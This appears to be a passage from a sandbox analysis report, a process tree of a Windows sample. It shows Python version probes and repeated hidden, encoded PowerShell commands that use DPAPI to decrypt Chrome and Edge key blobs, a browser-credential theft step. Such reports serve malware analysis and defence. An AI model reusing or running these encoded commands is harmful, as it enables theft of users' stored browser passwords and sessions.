JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAUQArAC8AOQA0AEgAQQAvAFkARQB5AEkAKwBRAE4ARwBRADIAdgBaAHAAQgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBGAFEATABPAHIAeQBLADMAcABqAFYASwAwADIASwBVAEUAbQB2AGIARwBFAEIAMgBvAHYASABXAFoATgBkAGEARwBFAHMAUwBuAE0AMwBqAFoAeABsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEAUQBtADYAdABMAEMAVgA3ADQAQwBWAFMAbQBGAGcATgBiAE4ANwBnADIANABsAFIAMQBaADkAVgAxAHAAOQBXADMAdgBvAGoAVQBVAG4AUwBOAEcAawBBAEUAQQBBAEcAeAB2AGsAZgB5AEUAOAAvAEQAVABrAE0AUgBDADgAbQAzAEEAcgBUADAAZgA3AHEANAB5AHoAeABEAFYATABQAEMASgBGADUAZQBKAEsAaABGAHYAYgBqAGkATABPAHYAYQB6AGIAMABRADEANgA3AGoASgBFAEMAWQBRADAANAB0AFIAMwB6AEMAeABqAHQALwBTAGYAUABJADQAMABBAGEASABMADcAVgA3AHAAUgB2ADgARwBzAGUAZQBRAEsAMgBKAFYAOQBkAEQAbQBIAFIAYwBZAFgANwA3ADgAYgBOAHEAVgBrAGkAcwBXAEIARQBTAEwANQBUAHMASQBlAEEAbAA0AE0AdwBhADIAMwBVAEcAWAAwADMAdAA5ADIAbQBIAFkAbgB4AHgAMgAzAG8AbgAvAFIAVgBFAEkAaABJADUAVABkADEATwBxAG0AdQAzAFEAbwB3AHcANQBBAEgAZABGAHkAaABTAHkAbgByAE8ASABWAFAAbgBSAEwAYgA3AHoAYgBIAHEAQQA2AC8AdABOAFcAQQA3ADQAbABjAGkARwBOAE8AegBCAGwAWQBZAFIAKwBKAEwAZABhADgAcgBKAGUANgA2AEcAMgBnADgANgBIAGYAdQBNAFYAQgBlAEUAOABZAHMAZQBCAG8ASwBVAFgAMwAzAGoATgBpAGwAeABKAEEAcgBkAEcAYwBvAGwAbABvAHYARQBnAGsAUwBmAEkAYQBXAGkAUgAxAGEAQQA1AEEAOQB1AFAAQwBvAEEATQBxAFkAdAAxAGQARQBOAFYANQBUAGMAcQBCADYANABxAE0ARABOAC8AdABPAEcARwBJAFoAaABKAC8AcQA4ADIAWABGAGIANQBvAEwATgBEAEQAdgBmAGYAKwBwAFYAegBPAGwAUgBCADkASQA3AEoAQgBBAGcAZQA2AEQAdQBwAGsAZgBHAEQASgBuAGQAegBHAEEAMgBSAFEAawBFAHEANQBjAHQAZQBnAGgAYgA2AG0AbwBrAFgAWQBsAGkAYwBxAEMAdABVAEcAUQBpACsAWgBUAEYAQgBYAEwAaQBiAEYALwBGAGkAdQA3AGcAOABxADkAZgBGAE8ANgAxAE0AOQBYAGQAYQBnAE0AVQBSAEwATABlAFUAUwAzAHEAUgBqAE8AUgA0AHIASQBvAEEAWABQAHQAawBsAEcAeQA3AFMAUQBvAEcARgAzAGMAagBXAFoAOQByAHUAaQBzAHoAagB3AGMAMABNAGoALwA0AHQANABYAGIAZQBtADAAbQB1AHAAbwA5AG8AOQArAHUANwA4AGgAcQA2AFkATABvAGEAZgBFAC8ANgBtAHYATABWAHMAdQBVAE8AagA5AGEAZgB0AGgATwAwAEwAawBZAGoASgB3AFkAQgBGAFQAZgB0AEEAQQBBAEEAQQBpAFYASABnAEEARQBOAEMANgBFAE8ATQBNADcAeQBFAE8ASQAxADUAMABHAEwALwBzAFQAdAB0AC8ASwB2AGEARQBiAGIAUAB3AE4ATABnAHAANgBsAGIAZgA4AGUAZgB1AHgATwBQAEMAZwB5AHgAWQBtAC8AMQBBAFYAbwBEAGQAZQBNAGcAVQBlAHEAegB0AEEASwBGAHgATABsAGYAegBkAHUAYQBrAGcAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA==
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:1440
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "python --version"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                PID:2136
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "python3 --version"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                PID:3724
                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:1748
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "py -3 --version"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                  PID:4440
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQB4AFAAZgBQAFIAbQBvAGoATABhAHAAUQBIAEkAeQBlADMASwBpAGgAWgB4AFEAVABjAHYAcQBTACsASgBtAG0AdQAxAG4AWQBjAFAAaQBUACsAUAA0AEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAEYAWgBCAHkAegA4AEQAVQBXAEoATABmAG4AdQBHAGwAMwBLAEkAUABXAEoARwA5AHoATgBsADgAMQBwAEEAagBlAGsAMQB0AEcASgB0ADQAVwBwAEEAdwBBAEEAQQBBAHIAcAB1AFcANABZADcAdABLAEkAUwBSAG4AOAAvAEkARgBsADcARgAvAE0ATQBMAHoAdQA0AGsAbgBLADIATwBmAE0AUAByADYAZwBLAEkAYwAzAGwAcwBUAGkAcwBiAE4AbABPAFEAdwBHAHIAaABwAC8AUwB0AC8ARQBEAGoAUQBBAEEAQQBBAEoAbgBmAHQAWQBmAHMAYwBTAGUARwBzAC8ATABTAEwANABZAEsAYwBQAHAASgBUAEUAbwBhAEMARwBHAGQASABFAHkAcQAxADYARQAvAEMATgBVAFMAbQBXAGkATgBJAEQAZwBZAG4AeABrAG8AVABwAFMASwBTAGIAZQBOAHIAVwByAEsAcABoAEwAeAB4ADUANwBlAE4AcABDAGgAagBIAFIAawAyAEsAWQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:200
                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQB4AFAAZgBQAFIAbQBvAGoATABhAHAAUQBIAEkAeQBlADMASwBpAGgAWgB4AFEAVABjAHYAcQBTACsASgBtAG0AdQAxAG4AWQBjAFAAaQBUACsAUAA0AEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAEYAWgBCAHkAegA4AEQAVQBXAEoATABmAG4AdQBHAGwAMwBLAEkAUABXAEoARwA5AHoATgBsADgAMQBwAEEAagBlAGsAMQB0AEcASgB0ADQAVwBwAEEAdwBBAEEAQQBBAHIAcAB1AFcANABZADcAdABLAEkAUwBSAG4AOAAvAEkARgBsADcARgAvAE0ATQBMAHoAdQA0AGsAbgBLADIATwBmAE0AUAByADYAZwBLAEkAYwAzAGwAcwBUAGkAcwBiAE4AbABPAFEAdwBHAHIAaABwAC8AUwB0AC8ARQBEAGoAUQBBAEEAQQBBAEoAbgBmAHQAWQBmAHMAYwBTAGUARwBzAC8ATABTAEwANABZAEsAYwBQAHAASgBUAEUAbwBhAEMARwBHAGQASABFAHkAcQAxADYARQAvAEMATgBVAFMAbQBXAGkATgBJAEQAZwBZAG4AeABrAG8AVABwAFMASwBTAGIAZQBOAHIAVwByAEsAcABoAEwAeAB4ADUANwBlAE4AcABDAGgAagBIAFIAawAyAEsAWQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:4732
                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAUQArAC8AOQA0AEgAQQAvAFkARQB5AEkAKwBRAE4ARwBRADIAdgBaAHAAQgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBwAFcAVABkAEYAbwBLAGgAVgBQAGkALwBOAFYARgBrAEcASABpAFUAYQB1AEEAMABJAFUAZgBVAE0ASABPAG8AYgBWAG8AMgAyADUATgBPADIAZgBrAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAHgARABOAGkAWQBzAGoAVAA5AGYAaQBVAEUAcwBkAGEATwBFAE0ASgBQAFcAcQBWAGoAYQBOAHEAMgBNAHEAbwBCADMAeAA1AHMATAA3AG4ASgAyAFYAUQBBAFEAQQBBADUAbABkADkAaQBWAHAAUgBYAGIAMQBwAHQAcgAzAGEAYwBaAEEAYgB0AEkAUgA2AFoATgBZAEEAawBoADMAdQBvADEAZwBIAFIAYwBMAE0ANwBxAFYAVwBSAEkAMQBlADgALwBrAFYARwByAG0AWABlADkAOAByAEQASABDAFMAVwAxADgAQwAxADkAaQBTAGEATQBUAEIAeQByAG0ATABtAFMASgBLADgAWAB0AGkAdwBTAFoAWAAwAHQAQgA3AGIAdwBWADkAeQBpAGoAZgBQAGoAQwA1AEsAbgBqADYAagBFAEgAbwBZADcAYQBGAGcAcwA1ADUAcgBJAC8ATgBjAGEAOABwAGsAMQBDADkATQBBADIAKwBxADkAZQAzAGIASgBhAG8ANgBLADcAdwA3AGkAeQA2AEgANQBYAEoARABuADkAVgBlAHoANwBOAEEAbQBDAGoAdQBlAFoASAA2AG4AYQBmAFYAUABVAGoAVgBSADYAOAByAFEARQAyAHoATwBaAGgAZwBEAHAAagBSAGgAVwBUAFAATABwADQARABnACsAZwBYAE0AdgBhADgAWQBWAGoAMwBKAGYAQwBsAG8ARABMAE0ANgAyAHoASQBaAEgAdwAyADUAcgBqAHIAUwBOAHkARQBuAE4AZABmAFgASQBEAFIASQBCADMASgBoAGUAawBBAEUAOQBVAGcAaQB3AGcAbAAyAGIAcwAxAEsAVQBYAFAAeQBpAGMAZwBuAGoAdABvAG8AbABoAHYAeAAzAGgAZAB6AGUAaQArAGEASwBNAEkAMgBxAGkATQA2AFQANABpAHEAMQBtADkASABnAEQASgBiAGsAWABoAEgAeABuAGsAUwBoADgAagAyAFEAVABjAHIAUAAvADkAUQBVADIAUwBoAGMAYwBEAE4ARABlAGsAQwBqAFIAbABTAGgASABCAHcAMQBpAEcAVQBuAEsAWgArAFgAYQBzAEUATAAxADkALwBBAE4AVABGAHMARQB6AGMAMgA4AGgAcgBvADEAegA3AEsAKwBhAGoAMABsAGoASwBsADcASQBpAEYARQA4AGEAMgBlAEEAWQBEAHkAZABBAGkAQwByAEIAYwBUAHgAKwBOADYATwBYAFgALwBNAGYAegBwAE4AYwB2AEsASgBpAHcAaQBqAHQAdABWAE8ATQA3AHEAUQBBAEEAQQBBAEkALwBzAEYAOQAzAEUASQBHAEEAVQB1AGMAagB1ADIAOABaAHUAZwBSAGUAWQBGAC8ATQBNAE4AZQBZAGMAUQBtADEAQwBlAHUAdwBNAGoAQgBHAG8AbQA1AFkAKwBGAEMAbABSAGgANgBIAG4AUQBMAE0AZgAvAG0ATwBQAEEALwBsADcATgBOAFAAZQA4ADAAUwBoADYAeQBBAFgARQB0AEsAegBtAC8AZwA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA=="
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:7132
                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAUQArAC8AOQA0AEgAQQAvAFkARQB5AEkAKwBRAE4ARwBRADIAdgBaAHAAQgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQBwAFcAVABkAEYAbwBLAGgAVgBQAGkALwBOAFYARgBrAEcASABpAFUAYQB1AEEAMABJAFUAZgBVAE0ASABPAG8AYgBWAG8AMgAyADUATgBPADIAZgBrAEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAHgARABOAGkAWQBzAGoAVAA5AGYAaQBVAEUAcwBkAGEATwBFAE0ASgBQAFcAcQBWAGoAYQBOAHEAMgBNAHEAbwBCADMAeAA1AHMATAA3AG4ASgAyAFYAUQBBAFEAQQBBADUAbABkADkAaQBWAHAAUgBYAGIAMQBwAHQAcgAzAGEAYwBaAEEAYgB0AEkAUgA2AFoATgBZAEEAawBoADMAdQBvADEAZwBIAFIAYwBMAE0ANwBxAFYAVwBSAEkAMQBlADgALwBrAFYARwByAG0AWABlADkAOAByAEQASABDAFMAVwAxADgAQwAxADkAaQBTAGEATQBUAEIAeQByAG0ATABtAFMASgBLADgAWAB0AGkAdwBTAFoAWAAwAHQAQgA3AGIAdwBWADkAeQBpAGoAZgBQAGoAQwA1AEsAbgBqADYAagBFAEgAbwBZADcAYQBGAGcAcwA1ADUAcgBJAC8ATgBjAGEAOABwAGsAMQBDADkATQBBADIAKwBxADkAZQAzAGIASgBhAG8ANgBLADcAdwA3AGkAeQA2AEgANQBYAEoARABuADkAVgBlAHoANwBOAEEAbQBDAGoAdQBlAFoASAA2AG4AYQBmAFYAUABVAGoAVgBSADYAOAByAFEARQAyAHoATwBaAGgAZwBEAHAAagBSAGgAVwBUAFAATABwADQARABnACsAZwBYAE0AdgBhADgAWQBWAGoAMwBKAGYAQwBsAG8ARABMAE0ANgAyAHoASQBaAEgAdwAyADUAcgBqAHIAUwBOAHkARQBuAE4AZABmAFgASQBEAFIASQBCADMASgBoAGUAawBBAEUAOQBVAGcAaQB3AGcAbAAyAGIAcwAxAEsAVQBYAFAAeQBpAGMAZwBuAGoAdABvAG8AbABoAHYAeAAzAGgAZAB6AGUAaQArAGEASwBNAEkAMgBxAGkATQA2AFQANABpAHEAMQBtADkASABnAEQASgBiAGsAWABoAEgAeABuAGsAUwBoADgAagAyAFEAVABjAHIAUAAvADkAUQBVADIAUwBoAGMAYwBEAE4ARABlAGsAQwBqAFIAbABTAGgASABCAHcAMQBpAEcAVQBuAEsAWgArAFgAYQBzAEUATAAxADkALwBBAE4AVABGAHMARQB6AGMAMgA4AGgAcgBvADEAegA3AEsAKwBhAGoAMABsAGoASwBsADcASQBpAEYARQA4AGEAMgBlAEEAWQBEAHkAZABBAGkAQwByAEIAYwBUAHgAKwBOADYATwBYAFgALwBNAGYAegBwAE4AYwB2AEsASgBpAHcAaQBqAHQAdABWAE8ATQA3AHEAUQBBAEEAQQBBAEkALwBzAEYAOQAzAEUASQBHAEEAVQB1AGMAagB1ADIAOABaAHUAZwBSAGUAWQBGAC8ATQBNAE4AZQBZAGMAUQBtADEAQwBlAHUAdwBNAGoAQgBHAG8AbQA1AFkAKwBGAEMAbABSAGgANgBIAG4AUQBMAE0AZgAvAG0ATwBQAEEALwBsADcATgBOAFAAZQA4ADAAUwBoADYAeQBBAFgARQB0AEsAegBtAC8AZwA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA==
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:6456
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMADcAZQAzAEkAawA0AFUASwB0ADUARgA2AHEAOQBVADcALwBDAHMARQBTAEYAWABjAEQAWQBmAEkAWQBKAGMAMAB1AGQAMQBiAHQAcgBMAGcATgBsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEALwBIAHIAeQArAEIAcwBUAGYARgA5AEcAbQBtAEEAUQAxAHYAWgBDAEkAUABOAFgAYgA0AGEAVwBWAGQAYQBVAGMAYwBYAEgAegBYAFQARgBuAFIATQBBAEEAQQBBAEwASwBlAEUAQwBxADIAUQBLAHkAbQA3AEIAQgBvAFMARABWAEwATAA2AHIAUQA0AHIAYgA1AFIANABmAE0AOAArAG0AaAAxAHgAaQBwAEsAcgBoAHQARABEAFYAeABPAEMAZgByAFcAUABJAEEATQBCAHkAbgBKAHEAcgB1AHEAMABBAEEAQQBBAEIAVgBsAGwASgBkAEwAawB4AG8AQgBpAHcANAB2ADIAVQA5ADIAVABMAGQAZQA3AFoATwBGADEATwBkAE4AOQB5AGkAdAB4AEkAKwBuAHEAQwB6AEQARAA2ADgAZgA1AG4AVgBXAGoAbQA3AFAASQAyAEcAbABrAGUALwBHADQAYQBBADgAZAA4AHcAYQBjAGQAZABVADgAMgBpAFUAaABpAD